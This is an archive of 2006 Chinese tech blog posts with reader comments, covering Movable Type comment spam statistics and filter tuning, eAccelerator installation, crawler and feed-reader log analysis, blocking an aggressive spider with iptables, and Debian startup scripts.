中国印刷博物馆相片 http://www.flickr.com/photos/swordi/tags/%E4%B8%AD%E5%9B%BD%E5%8D%B0%E5%88%B7%E5%8D%9A%E7%89%A9%E9%A6%86/

使用雅虎实现免费站内搜索

Fri, 09 Jun 2006 19:26:00 +0800

经过了一搜 yahoo.com.cn search.cn.yahoo.com这几个域名的变迁，雅虎搜索的很多接口都变化了。今天又有人问我如何使用雅虎进行站内搜索，我做了一个样例：

替换黑体字部分改成你的域名，然后将以上代码嵌入到网页中就可以了：

另外：如果网站是utf-8字符集的：需要增加一个隐含参数

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

噹噹响的师傅 · 2006-06-13 11:21

不能匿名浏览的网站，如何实现站内免费搜索呢？

shunz · 2006-06-18 07:17

to chedong 来自搜索引擎 - 全部列出

Google 34516 34554
Baidu 11307 17100
Yahoo 308 308 为什么来自yahoo的搜索这么少？

[MT]：垃圾评论的关键词词频统计

Wed, 07 Jun 2006 08:40:48 +0800

MT做为最成功的blog发布系统之一被spammer叮上有好几年了，虽然在mt 3.2以后垃圾评论的管理已经加强很多，但spammer对于mt的spamlookup的适应速度也是非常快的。昨天做了几个脚本统计，分析了一下垃圾评论中的关键词特征：数据源来自最近十天收到的2000多篇垃圾评论，目前收到的mt spam以英文为主。

30207 http 是的，获得反向链接是spammer最主要的目的：在PageRank做为 22256 biz .biz域名最近是不是降价了？这是spammer使用的主要域名后缀 22181 resea 21318 gay 10600 href spam中一般包含大量的html标签，后面还有 _blank target等； 5018 com 4974 boy 3134 info 3075 teen 2426 adobe 除了色情类的关键词，国外还有经常推销打折软件，这在中国是很难想像的， 2393 porn 2373 acrobat 2282 nude 2281 video 2267 sex 2082 url 1821 male 1653 html 1575 movie 1547 guys 1534 www 1529 strong 1297 pic 1291 cock 1278 pro 1270 man 1124 twinks 1054 anal 983 xxx 977 young 941 hardcore 880 picture 812 black 775 best 764 regards 744 buy 733 hot 732 fucking 728 blog 726 target 726 _blank 723 gallery 716 the 704 russian 696 lide 680 online 677 viagra 639 ultram 632 150m 623 weight 615 valium 609 blogspot blogspot是spammer经常使用的免费hosting之一。 588 cum 584 free 570 naked 562 kissing 559 sexo 556 free6xxx 545 ass 544 phentermine 528 rapidforum 528 64751 501 mujweb 490 and 489 cute 464 valiumonline 442 yahoo yahoo邮箱是spammer常用的fake邮箱地址； 436 cheap 428 lose 401 net 380 xxxcredo 376 freesexcredo 366 myteeundercar 360 freexxxcredo 341 site 336 pornzzz 328 you 321 found 306 dan 304 page 304 org 296 post 292 see 292 fuck 292 credosex 289 college 288 clip 288 adult 286 little 285 model 277 gratis 267 praize 259 discount 258 big 236 nice 232 fat 224 three 224 amateur 223 fc2 219 with

Sarah Khider的blog

Fri, 26 May 2006 21:20:26 +0800

上次收到Sarah Khider的信，很多朋友都在问她：你的个人blog在哪里？这不，她的blog很快搭建好了：是用一套叫做：DotClear的程序搭建的。

Sarah Khider是谁？看看这里就知道了：车东[Blog^2]: 妮妮收到了Sarah Khider的留言

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

biantaishabi · 2006-05-27 01:47

nice! 她终于也写blog了，而且不是法文：）

今天终于明白那个donews的rss时间不对的后果了：我似乎会比别人晚几个小时，所以总是呆在顶上。现在好像还是没有改过来。

笑笑就好 · 2006-05-30 10:06

在什么地方能够找到这个皮肤？可以改为wordpress版本的吗？

请教AWStats问题 · 2006-06-04 17:00

车东：

您好！在网上搜索到您对AWStats很有研究，因此特来请教！

1、我们的网站原先装有AWStats（不是我装的），之前能够正常统计，但是4月份后所有的数据都为0了，不知道是什么原因？

2、如果我们在服务器上新建一个网站，如何能把AWStats应用到新的网站上。

希望能尽快收到您的回复！不胜感激！

helen

Sarah Khider · 2006-06-04 21:56

Hi, it’s sarah Khider

I realise that you like my blog. See you, Sarah

Yihua · 2006-11-05 15:42

Hi,I’m just a college student who love your song called Mermaid.

[EAC] PHP 预编译加速： eAccelerator的安装和性能比较

Thu, 25 May 2006 15:26:52 +0800

上次尝试安装Wikipedia的镜像的时候，了解到了eAccelerator已经是很常用的PHP平台预编译加速的手段了。今天在自己机器上尝试安装了一下，备忘如下：

获得源代码： http://bart.eaccelerator.net/source/ 编译：需要有autoconf支持，解包后在源程序目录下：

/usr/local/bin/phpize ./configure --enable-eaccelerator=shared --with-php-config=/usr/local/bin/php-config make sudo make install

配置增加如下：sudo vi /usr/local/lib/php.ini

extension_dir = "/usr/local/lib/php/extensions" extension="/no-debug-non-zts-20060613/eaccelerator.so" eaccelerator.shm_size="16" eaccelerator.cache_dir="/tmp/eaccelerator" eaccelerator.enable="1" eaccelerator.optimizer="1" eaccelerator.check_mtime="1" eaccelerator.debug="0" eaccelerator.filter="" eaccelerator.shm_max="0" eaccelerator.shm_ttl="0" eaccelerator.shm_prune_period="0" eaccelerator.shm_only="0" eaccelerator.compress="1" eaccelerator.compress_level="9"

2006-06-03更新在apache 2.2的升级过程中:发现php的相关模块都需要重新编译需要注意包含哪个目录下的 eaccelerator.so 文件 /usr/local/lib/php/extensions$ ls -1 no-debug-non-zts-20020429 no-debug-zts-20020429 否则eAccelerator会无法生效, 我测试的结果在apache 2.2下eAccelerator的效果比apache 1.3下还差一些;

最好创建专用的缓存目录：

sudo mkdir /tmp/eaccelerator sudo chmod 0777 /tmp/eaccelerator

重启一下apache： sudo /home/apache/bin/apachectl restart 通过[phpinfo()](http://www.chedong.com/phpMan.php/phpinfo)已经可以看到：eAccelerator启用了 [chedong@chedong eaccelerator-0.9.5.3]$ php -v PHP 5.2.8 (cli) (built: Jan 14 2009 02:44:39) Copyright (c) 1997-2008 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies **with eAccelerator v0.9.5.3, Copyright (c) 2004-2006 eAccelerator, by eAccelerator**

用phpinfo这个脚本本身还做了一下性能对比测试：对于纯php代码（不考虑数据库瓶颈/文件IO等操作）的运行效率的确有3-5倍的效率提升；

抓虾：中文的bloglines + digg

Sun, 21 May 2006 18:38:33 +0800

今天从日志统计中发现了： Zhuaxia/spider:1.0 920 41.39 M字节 2006年五月 20日 23:54

下午试用了一下：感觉很好订阅比BlogLines好用，而基于订阅的推荐的digg机制也让你能发现更多 1 中文界面； 2 有个基于session的访客试用：可以在完全不影响其他访客的情况下模拟大部分注册用户的功能； 3 支持OPML导入：很方便； 4 邮件注册； 5 基于推荐和收藏的好文推荐：今天看到的第一篇文章的分析《抓虾四定理及其推论》就很不错，非常赞同其中的观点。

推荐一下，抓虾四定理及其推论 - Google观察|邦比快跑 1，用户面对同一人的不同blog、同一blog的不同feed会优先订阅被订阅较多的那个所以：即时要迁移blog，也不要变feed地址：和内容一样：FEED也需要permaFeed 2，用户喜欢直接从排行榜中订阅，排在越前面的频道收益越大排行榜很重要：有些惭愧，我的blog居然是TOP订阅之一？如何让新的质量更好的blog脱颖而出是个问题。 3 ，好的内容blog排名会逐渐上升，不更新的blog会逐渐下降这个很自然…… 4，喜欢推荐文章的人不多；一些比较实用，篇幅较长的文章被收藏的这个我也发现了：其实我的网站最经常被访问的还是以前的技术文档归档，如何将wiki和blog结合来是一个问题。

给抓虾的改进建议： 1 缺省推荐中的新华网和抓虾BLOG可以不计入排名吗？ 2 即使是TOP blog也应该时间这个因素考虑进去：应该是最近一段时间（比如3个月）内被新增用户订阅最多的BLOG。 3 能否增加一个推荐功能：和你订阅相同blog的人还经常看那些blog？ 4 缺乏一个多个blog的聚合页面; 5 在Spider中能否像bloglines的spider一样告知目前feed的订阅数？

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Hyson · 2006-05-21 21:06

目前feed的订阅数量已经出现在右上角了。

新华网和抓虾BLOG的feed可以手动去除。

已经有推荐的功能了。

但是可以改进的地方还是非常多的。：）

frankyang · 2006-05-22 00:47

这几个改进建议非常好 :)

如何寻找暑期实习机会

Tue, 09 May 2006 22:02:45 +0800

夏天来了，暑假也快到了，很多快毕业的同学已经开始准备暑假实习了。前几天看桑林的blog，认识了王博：求助：暑期实习！ - 变态家族。他感兴趣的一些算法正好也是我们需要的，就回了一个评论。通过这个回复还收到了其他人的一些申请联系，让我颇有些惊喜。有类似需求的同学应该还很多，这里建议如下：

1 所以多问问自己同专业刚毕业的学长应该能找到不少线索。据我所知，类似的机会除了雅虎以外，在其他公司还有很多。比如今天就收到了安捷论一个朋友的短信：安捷论软件公司：招仪表和电信相关的软件工程师感兴趣可以将简历发给[建军](mailto:jian-jun.xuATagilent.com?subject=[Apply]: referer=CheDong.com)

2 另外一个建议是用blog search：和blogger一对一的交流还是要比人事千篇一律的招聘广告成功率高的多。可以使用招聘/实习 + 你感兴趣的特长/专业，比如：“招聘 mysql” “实习数据挖掘” 另外:酷讯的职位搜索时效性也很强.

3 对于计算机专业的学生来说，去sf.net上找个项目做做也是一个很好的机会；

给豆瓣代一个招聘广告：杨勃(阿北)是一个非常难得的互联网创业者，和他合作应该可以学到很多东西。豆瓣网：全职

有Web应用实现的专长和经验：参与过面对个人交互式应用的网站构架设计。有日百万级用户访问量的网站运作经验者优先。
熟悉Python/Ruby/PHP/Perl/Javascipt中的2种或以上。Python和Ruby优先。
熟悉数据库设计，有基本的DBA能力。有Mysql/sqlite经验者优先。

发送到 [teamATdouban.com](mailto:teamATdouban.com?subject=[Apply]: InputYourNameHere referer=CheDong.com)

当然，雅虎招聘仍然长期有效，欢迎有意向的朋友发送邮件给[我](mailto:chedongATgmail.com?subject=[Apply]: InputYourNameHere referer=CheDong.com)。

关于简历的一些TIPs： 1 中文在前/英文在后（没人看英文版 :P）； 2 尽量使用纯文本附在邮件正文后，而不使用要附件（浪费读者一次点击）； 3 按时间倒排书写项目经验/经历（像BLOG一样：新的内容总是更有参考价值一些）；

关于简历，大家可以参考一下这篇： http://www.wespoke.com/blog/archives/000003.php 和这篇： http://blog.wespoke.com/archives/000538.php

💬 历史评论

以下 16 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

桑葚 · 2006-05-10 05:37

嘿嘿，没想到还搭了次桥。

西 · 2006-05-10 20:46

谢谢车东，我正找暑假工作呢。不过blog search的方法，得到的结果都是说自己怎么怎么实习的。请问你用的是google的blog search吗？

时过境迁 · 2006-05-11 10:20

要是我上学时，能够得到这些知道就好了

Jansen · 2006-05-11 22:44

基于RSS/FEED的内容发现更节省带宽

Wed, 19 Apr 2006 18:50:21 +0800

Jen的文章AdSense mediapartners蜘蛛已经被抓取到了Google的主搜索索引中，我目前还没有发现类似样例，大部分内容还是通过Googlebot发现，但是提交到Sitemaps中的内容已经是通过Google的Feedfetcher进行同步了。

车东Che, Dong - My Window, Your Bridge
联系方式|Contact]. Google Talk · 雅虎招聘 [My Bloginality is INTJ]. Alexa流量统计：, 2006-04-18 03:50 @72.14.199.83 
CrawledBy **Feedfetcher-Google**; (+http://www.google.com/feedfetcher.html) show this page source · Send me a book.
www.chedong.com/ - 46k - 2006年4月17日 - 网页快照 - 类似网页

从日志统计中也可以看出来，虽然FEED的访问频度要比以前的蜘蛛高很多，但是由于有文件是否更新的检查，占用的带宽却不一定升高。因此基于FEED的新内容发现比蜘蛛遍历网站效率还是要高很多。以下是一些日志统计的结果：

访问次数 流量(M) 平均大小(K) 蜘蛛名
57555	1750	31.1 	Potu Rss-Reader(1.13) www.potu.com
14518	28.92	2.0 	GreatNews/1.0
12960	0.51127	0.0 	Mozilla/5.0
11020	712.57	66.2 	Sunjet ( http://newsfeed.i5un.com/)
7725	237.09	31.4 	-
**7249	54.01	7.6 	lilina 0.7 ( http://lilina.sf.net/)**
**5457	32.3	6.1 	Mozilla/4.0 (compatible; Google Desktop)**
4648	136.67	30.1 	Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)
4053	125.3	31.7 	Potu Rss-Reader(1.12) www.potu.com
4040	123.95	31.4 	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
3962	60.07	15.5 	MagpieRSS/0.7 ( http://magpierss.sf.net)
**3913	4.16	1.1 	Feedfetcher-Google; ( http://www.google.com/feedfetcher.html)**
3477	122.06	35.9 	http://www.gougou.com RSS Online Reader
3403	104.45	31.4 	FeedTools/0.2.18 http://www.sporkmonger.com/projects/feedtools/
**3328	26.1	8.0 	Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1**
2970	98.38	33.9 	MT::Telegraph::Agent/0.031
2759	90.37	33.5 	Mozilla/4.0
标黑的蜘蛛或RSS浏览器都遵循了HTTP 1.1规范，在读取同步时进行了文件更新的校验，如果文件没有更新，则自动读取了本地的缓存。而大部分基于本地浏览器的在线RSS阅读每次都重复进行了内容同步，带宽消耗很大。

## 💬 历史评论

> 以下 5 条评论从旧版 Movable Type 博客迁移而来。
> 原始评论时间：2002–2016 年。

**mike delfino** · 2006-04-20 13:03

看车东大哥的BLOG就是受益匪浅

---

**booodo** · 2006-04-29 13:51

你好:

我是http://www.booodo.com(博读社区）的站长，我的站主要提供博客RSS阅读的服务，我收录了你的博客，希望你能光临！ 


谢谢！

博读社区
http://www.booodo.com

---

**优网** · 2006-04-29 17:02

雅虎搜索在中国的市场份额好像有下降的趋势

---

**小草** · 2006-04-30 00:08

新的问题请教!

2006-04-28 20:51:50 202.108.1.5 - 400 0 2 - -
2006-04-28 20:51:53 66.249.72.84 GET 200 14174 199 Googlebot-Image/1.0 -
2006-04-28 20:53:21 222.132.6.51 GET 200 18388 159 Mozilla/3.0+(compatible;+Indy+Library) -

---

**gyshangmaocheng** · 2006-04-30 11:42

当然了，feed本来就内容简洁，没有繁多的HTML标记。
http://www.goldhai.com.cn/

妮妮收到了Sarah Khider（芝华士广告歌主唱）的留言

Sat, 08 Apr 2006 11:29:48 +0800

Sarah Khider是谁？热播了有2年多了的那个芝华士“阿拉斯加冰钓”的广告看过吧，背景音乐中那首“美人鱼(Mermaid)”喜欢吧，:-) 这首歌就是Sarah Khider唱的。 2年来妮妮: 芝华士广告和优美的歌曲：完整版浮出水面这个帖子已经有三百多篇留言，而昨天的第353篇就来自这首歌的主唱者：Sarah Khider

**Hi I’m sarah khider. I’m the singer of the song “Mermaid”. I never could imagine you all would love this song. Nice… my mail address’s sarahkhider@aol.com ** WOW, 太神奇了，我回信确认了一下：她回信说她是法国人，住巴黎，几周前Ego surfing自己的名字的时候给所有找到的文章留了言。

搜索引擎真的让世界越来越“平”了，Mermaid这首歌的fans们赶快和她Say Hi吧……

我Google了一下，妮妮的那篇文章排第5。

💬 历史评论

以下 13 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Danger · 2006-04-08 11:53

哈，这曲子是经典。 http://dengjie.com/loadr/rrr.swf?file=http://www.angeloo.org/attachments/music/recommend/vol_1/chivas.mp3&clr=000000

tinyfool · 2006-04-08 12:31

那是天籁一般的歌声

andy_haha · 2006-04-08 12:44

我把这首歌，以及你和妮妮的相关 blog url放到 maze上了，希望在学生中迅速传播。毕竟是广告歌曲吧，应该不算我盗版+传播吧？如果算是，也担了！谁叫她那么美的。

哈啰波波 · 2006-04-08 17:49

MT spamlookup中的参数调优

Fri, 07 Apr 2006 11:47:58 +0800

最近遭受blog comment spam的不止我一个，比如文德的blog：垃圾评论有几千了吧，相对来说WordPress的防spam做的比较好。有SK2的保护基本上就没有什么问题了。

还有几个仍然在使用MT一点提示：在MT的spam lookup中，有些参数的调整对于spam自动识别还是很有好处的 1 spam域名的检查：权重可以增加一些 2 链接个数的检查：可以减少一些，缺省的5 / 10 太宽松了，我设置的超过1个链接就需要 3 关键词中可以将一下关键词加入：国外spam主要是色情，律师，税务方面的，国内的spam机器人主要是赌博类

spammer在暗处，blog在明处，而且是开源的。相对来说黑名单机制相当于是利用各个用户上的垃圾反馈集中统计起来然后再共享给每个用户，有点SN的味道。

当然：目前看来数字水印还是非常有效的方法，就是需要改模板。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

平生一笑 · 2006-04-07 14:36

车东试过CCode和TCode没？效果应该还不错，昨天给Postshow.net安装上后，还没有收到过垃圾评论

is · 2006-04-07 21:02

加个图片验证什么的，应该能解决一些问题吧?

icylife · 2006-04-07 21:09

这个风格真漂亮，不知道wordpress下有没有

winter · 2006-04-11 09:08

把我做反面例子啦, 哈哈

hl_ftien_spider原来是海量的蜘蛛

Fri, 31 Mar 2006 17:30:01 +0800

最近很多站点都发现了一个名叫hl_ftien_spider的蜘蛛，这个蜘蛛的抓取频度：可是相当的厉害，几乎和DoS攻击差不多，自然也引起了不少公愤：

今天网站流量再度攀升,经检查原来是一个名为"hl_ftien_spider"的蜘蛛在疯狂的爬我的网站网页.

grep hl_ftien_spider access_log.20060304 |awk '{print $1 $2 $4 $3 $12}'

218.68.240.81-[04/Mar/2006:22:57:11-"hl_ftien_spider"
218.68.240.81-[04/Mar/2006:22:57:27-"hl_ftien_spider"
218.68.240.81-[04/Mar/2006:22:57:28-"hl_ftien_spider"
218.68.240.81-[04/Mar/2006:22:57:28-"hl_ftien_spider"
218.68.240.81-[04/Mar/2006:22:57:45-"hl_ftien_spider"
218.68.240.81-[04/Mar/2006:22:57:46-"hl_ftien_spider"

................

这样胡乱爬网页跟攻击没有什么区别,马上封了该ip地址,iptables在封锁ip上还是非常有效的:

iptables -A INPUT -s 218.68.240.38 -j REJECT 

查询了一下该Ip地址,是来自天津的:

您要查询的是"218.68.240.38"，它被理解为"218.68.240.38"

官方数据:
在亚洲与太平洋网络信息中心(APNIC)找到:

% [whois.apnic.net node-1]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

路由:                   218.68.0.0/15
单位全名和地址:         CNC Group CHINA169 Tianjin Province Network
国家或地区:             中国
自治域(AS):             AS4837
维护者:                 MAINT-CNCGROUP-RR
变更记录:               abuse@cnc-noc.net 20060118
信息来源:               APNIC 

谁知道这是哪家的蜘蛛出来乱爬么?

Google上也没有有用的信息,似乎是流氓引擎吧.

看看WebMasterWorld上的评论：

 This bot hit my site today, picked up robots.txt, then picked up a few dozen pages - and tried to pick up about 1800 more pages after it hit a bot trap.

All of which it did within 4 minutes.

The IP is the same as you had, and it resolves to net263.com in China.
I've banned it.

我今天从服务器的突然后台负载增高也发现了这个蜘蛛，上月的一次大量抓取来自上海某高校，当时不得不将我的twiki改成了认证登录。

CC China 2.5协议正式发布

Wed, 29 Mar 2006 17:54:59 +0800

CC China 2.5协议正式发布 - Wikinews 这里有一个版权生成器：http://creativecommons.org/license/，也可以通过MT的配置中选择：

2.5 Vs 1.0 2.5 署名. 您必须按照作者或者许可人指定的方式对作品进行署名。 1.0 署名。你必须明确标明作者的名字。

好就好在这个指定的方式上了。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Danger · 2006-03-29 19:59

大家都能自觉遵守就好了.

Dav1d · 2006-03-30 15:20

终于出来了？前几天看还是繁体版。以后直接到creativecommons.org了，那creativecommons.cn呢？

我发明的版权协议？

Wed, 22 Mar 2006 17:53:33 +0800

今天查了一下：这个版权声明还挺流行的 ;-) 百度一下：找到相关网页约19,700篇雅虎搜索：约 4,050 项
Google搜索：约有8,650项符合

其实这个版权基本上等于CC的By+SA： 1 署名. 您必须按照作者或者许可人指定的方式对作品进行署名。 2 相同方式共享. 如果您改变、转换本作品或者以本作品为基础进行创作，您只能采用与本协议相同的许可协议发布基于本作品的演绎作品。

互联网上，反向链接是尊重原创作者最好的方式。所以我指定的方式就是**“以超链方式”**。

署名-相同方式共享 2.5

您可自由：

* 复制、发行、展览、表演、放映、广播或通过信息网络传播本作品
* 创作演绎作品
* 对本作品进行商业性使用

惟须遵守下列条件： by 署名. 您必须按照作者或者许可人指定的方式对作品进行署名。 sa 相同方式共享. 如果您改变、转换本作品或者以本作品为基础进行创作，您只能采用与本协议相同的许可协议发布基于本作品的演绎作品。

* 对任何再使用或者发行，您都必须向他人清楚地展示本作品使用的许可协议条款。
* 如果得到著作权人的许可，您可以不受任何这些条件的限制。

您的合理使用以及其他权利不受上述规定的影响。

这是一份普通人可以理解的法律文本（许可协议全文）的概要。

💬 历史评论

以下 11 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-03-22 18:29

差不多可以这样说.我也曾用过 :)

哈啰波波 · 2006-03-22 20:42

应该去申请专利～～

Semon · 2006-03-22 20:43

以前用过，没想到出处是这里，呵呵

tomz · 2006-03-22 21:41

能不能把blog.cnblog.org的没有内容的标题也整出链接来。现在只有blog的链接，不能直接到达文章。

搜索引擎蜘蛛多长时间更新一次DNS

Mon, 20 Mar 2006 13:55:22 +0800

为了加快抓取速度，专业的搜索引擎大部分有DNS缓存：但是搜索引擎多长时间更新一次，3月4日的时候cnblog.org进行了一次IP切换。旧服务器上的日志和统计并没有停止：AWStats数据统计如下。

搜索引擎网站的机器人 (前 10)   -   全部列出   -   最近参观日期 	 
35 个机器人*	文件数	字节	最近参观日期
Sina Iask	2509	38.61 M字节	**2006年 三月 09日 18:32**
OutfoxBot	838	9.81 M字节	**2006年 三月 15日 02:31**
Yahoo Slurp	419+66	6.09 M字节	**2006年 三月 19日 21:38**
BaiDuSpider	137+36	2.17 M字节	**2006年 三月 18日 06:31**
Googlebot	147+2	1.74 M字节	**2006年 三月 11日 19:03**
Unknown robot (identified by 'crawl')	130+1	1.56 M字节	2006年 三月 18日 13:33
Turn It In	93	236.54 K字节	2006年 三月 04日 01:33
MSNBot	80+7	1.52 M字节	**2006年 三月 04日 04:37**
BecomeBot	77+2	920.27 K字节	2006年 三月 04日 13:37
Bloglines	71	43.51 K字节	2006年 三月 04日 04:08

虽然大部分的spider访问很快迁移到新的服务器上了：但是很多spider仍然没有来得及更新DNS。大搜索引擎中：反应最快的是MSNBot，当天之后就再也没有来访问过。Google用了1周左右，百度前天还在访问，而Yahoo的Slurp抓取仍然没有中断。而其他一些蜘蛛引擎：一般在当天就更新了DNS，缓存时间比较短。

基于群体分析发现网站的相关性

Sun, 19 Mar 2006 15:54:46 +0800

今天看：其中谈到了Amazon的a9.com中的搜索历史等功能对于用户的帮助。忽然想到Google的搜索结果页上有一个不怎么常用的相关网站功能：其实是一个很有用“发现”的功能，这种发现完全是不基于“字面”的，我感觉是经常看当前网网站的人，还经常看哪些内容的用户群体统计结果。

具体是怎么实现的呢？设想了一个实现的方案：在搜索结果中（也许是Toolbar/搜索历史等来源）将用户每次点击都记录下来，然后根据域名汇总：然后建一个用户=>访问过的网站的反相索引。通过统计就可以发现：点击chedong.com上内容的用户，还经常去看哪些网站。当然：如果超市中“牛奶”是几乎每个人都购买的，就不应该出现在“牙膏”的相关推荐中，而"牙刷"就是一个比较好的推荐。因此还需要根据这些网站的流行度和同现度综合加权，就找到了当前网页(网站)的相关网页。尿片和啤酒的经典统计案例应该也是类似的机制。

Amazon的买了这本书的人：同时还喜欢什么书。豆瓣的“猜你会”喜欢什么书。应该也是类似机制实现的。

请教：在数据挖掘中：这种同现度的发现机制的专业说法（术语）应该是什么？“association rules” “SPSS的clementine” 目前有那些已经实现的方案和统计工具？weka spss

附：目前的related:www.chedong.com/ - Google 搜索怎么这么像我的书签啊？

Not isaacmao.com - BlogBus.com Not isaacmao.com,isaac’s backup site. If you were redirected from accessing www.isaacmao.com, it means the isaacmao.com is still being blocked. www.isaacmao.com/ - 32k - 网页快照 - 类似网页

Blog Branding Topku:陈志东 A Blog edited by topku, interacting with the living web and the vivid world. www.topku.com/ - 90k - 网页快照 - 类似网页

六翼的天使| Blog of Seraphim blog是Liang Lu 六翼自己设置的个人博客blog网站，博客blog 内容主要涉及中文博客blog 的方方面面，博客blog 主要书写个人的生活，感悟，对人生的看法，社会观点。六翼博客blog 合欢第十一章合欢第十章心尚止水图片博客与博客吧合欢第九章让我们一起捏造 … blog.wespoke.com/ - 101k - 网页快照 - 类似网页

Wiki is flat

Sun, 05 Mar 2006 22:40:30 +0800

[![](http://static.flickr.com/35/104161211_f8d58cb87c_m.jpg)](http://www.flickr.com/photos/chedong/104161211/) [维基百科数据 - Charts - 汉语](http://www.flickr.com/photos/chedong/104161211/)

Originally uploaded by Che Dong.

最近很热门的一本书：

其中很一章提到了搜索引擎：你和任何一个网站之间的距离缩短到一个(组)关键词。感受最深的是：在互联网中wiki/blog无疑是最平坦的两块自留地。从blog/wiki的设计中也可以看到CMS设计面向搜索引擎抓取优化的2个要点：

1 蜘蛛遍历的速度：帮助搜索引擎快速遍历整个网站，而又不在个别页面中集中太多的链接。

2 内容的稳定性：承诺一个稳定的内容映射，不会在搜索过来使实际内容已经面目全非；

简单比较一下传统的BBS和Blog Wiki之间的发布模式：

论坛：滚动的索引/列表页，当论坛内容很多的时候，当论坛中的内容较多以后，遍历完一个论坛往往需要蜘蛛从入口抓取5层以上。

- web - ?Forum=1 - ?post=1
                |- ?post=2
                |- ?post=5
      - ?Forum=2 - ?post=4
                |- ?post=22
                |- ?post=8

Blog的发布模式的优点：主题的permalink + 按时间归档 + 按分类归档 BLOG: Better Listing On Google

- index - post10.html
       |- post9.html
       |- monthly_archive  - post8.html
                          |- post7.html
       |- category_archive - post8.html
                          |- post2.html

由于个人内容发布量较少，在百级或者千级，蜘蛛经过3层遍历基本上能够遍历完整个网站。而blog之间的相互引用非常丰富。邮件列表归档和blog的发布结构非常像：邮件列表归档也有按时间归档的机制，并且使用permalink，

debian上使用rc.local

Fri, 03 Mar 2006 15:29:50 +0800

习惯了FreeBSD和RedHat上使用/etc/rc.local 定制服务的自动启动，最近用Debian还真有些不习惯。以下是我搜集到的资料：在debian上创建rc.local文件。

创建文件： sudo touch /etc/init.d/rc.local 设置可执行： sudo chmod +x /etc/init.d/rc.local 用update-rc.d设置启动级别： sudo update-rc.d rc.local start 20 2 3 4 5 . stop 20 0 1 6 .

为了编辑方便，创建一个链接： sudo ln -s /etc/init.d/rc.local /etc/rc.local

cat /etc/rc.local

start apache

/home/apache/bin/apachectl start

重启一下，没有问题。

后记：Debian 下没有 rc.local ，不过有一个替代品，就是 /etc/init.d/bootmisc.sh 文件（可以将/etc/rc.local 链接过去）大家有什么需要启动后运行的，尽管往里面塞 :-P

类似的：也是使用update-rc.d 将相应服务设置成启动就可以了。

最近新安装了一台服务器，操作系统使用debian 必须熟练使用的几个命令： apt-get install [packagename] apt-cache search [string]

以后升级使用： apt-get update apt-get dist-upgrade apt-get upgrade 就可以了

目前安装的包： apt-get install kernel-image-2.6.8-2-686 (2.4.x 缺省不支持1G内存 ) apt-get install libgdbm-dev apt-get install zlib1g-dev apt-get install libcurl3-dev apt-get install php4-domxml apt-get install libxml2-dev

site:chedong.com crawled by

Sun, 26 Feb 2006 19:38:59 +0800

一年前做的一个小试验：车东[Blog^2]: 让搜索引擎Spider告诉你：什么时间，从哪里，用什么身份抓取了你的网站今天这个试验又查了一遍：看看百度、Google、MSN、雅虎、搜狗、中搜、新浪这几家拥有自主后台网页引擎的在过去一年的发展。

site:chedong.com crawled by这个命令在各个引擎上几乎都是通用的。虽然显示出来的User Agent信息是各个搜索引擎蜘蛛团队的举手之劳：但从一些细节上还是能看到很多差异。

Google 车东Che, Dong - My Window, Your Bridge 联系方式|Contact]. Google Talk · 雅虎招聘 [My Bloginality is INTJ]. Alexa流量统计：, 2006-02-25 11:39 @66.249.64.15 Crawled by **Googlebot/2.1 (+http://www.google.com/bot.html) **show this page source · Send me a book. www.chedong.com/ - 39k - 2006年2月24日 - 网页快照 - 类似网页

uniq - phpMan - [ 翻译此页 BETA ] On Apache/1.3.34 (Unix) mod_perl/1.29 mod_gzip/1.3.26.1a PHP/4.4.2 Under GNU General Public License · 2006-02-18 11:16 @66.249.65.5 Crawled by** Mozilla/5.0 (compatible; Googlebot/2.1; **+http://www.google.com/bot.html) · Valid XHTML 1.0! … www.chedong.com/phpMan.php/man/uniq - 5k - 网页快照 - 类似网页

TWiki开发团队的一次会议纪要

Sat, 25 Feb 2006 21:52:13 +0800

TWiki本身非常适合公司内部做文档平台，而twiki这套平台本身开发的过程中，我们也可以看到twiki开发团队的高效的开发过程： EdinburghReleaseMeeting2006x02x06 < Codev < TWiki

会议模板如下： http://twiki.org/cgi-bin/view/Codev/EdinburghReleaseMeetingTemplate * Logistics, Participants, IRC log 参加者 * Agenda 会议议题 * Miscellaneous 其他 * Action Items 行动方案 * IRC Log 谈话纪要 * Comments / Feedback 反馈

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

saten · 2006-02-28 16:39

能再详细的介绍一下，这个系统吗？因为我公司最近可能需要这样的系统！

又被点名了

Fri, 24 Feb 2006 23:03:40 +0800

上个月文德的题目还没回答呢：不过文德你那里的留言中杂草也太多了吧 Winter实验室: 点名游戏 1 你小时候的理想是什么？可以天天玩……

2 你现在的理想是什么？围上一片山，杂草都可以自然的疯长……

3 如果你的生命只有3天时间，你最希望完成的3件事情是什么？ a 陪太太 b 陪父母 c 给朋友一一祝福

今天才又看到Celia的留言： PPCR

以下是Celia出的题： 1。你如何评价目前还不知道《一个馒头引发的血案》是怎么回事的人？小声告诉他……

2。你的爱人此时此刻与你同处一室吗？ yes.

3。目前有哪一项公益事业让你愿意为它捐献50块钱？多背一公斤

4。你觉得google.cn的发布是否是个正确决定？是，这也是我们搭建中文维基百科的镜像的原因：wikipedia.cnblog.org

我的题目： 1 你小时候的理想是什么？ 2 你现在的理想是什么？ 3 如果你的生命只有3天时间，你最希望完成的3件事情是什么？

接包着： Ada NierNier 卢亮/明珠文心 Isaac Zheng ==> 临时空间 Vista DBANotes 王建硕田春峰期待他们的精彩回答吧

💬 历史评论

